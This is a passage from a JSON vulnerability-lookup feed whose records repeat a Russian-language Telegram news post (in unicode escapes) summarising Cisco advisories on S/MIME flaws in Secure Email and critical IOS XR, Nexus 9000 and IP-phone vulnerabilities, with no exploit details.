\u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:39.978921Z"}, {"uuid": "921cb261-48cf-441d-9a2e-899736b7e2ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:40.028308Z"}, {"uuid": "f922b5be-0f16-4f51-8e6b-7de8e5e4a39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e 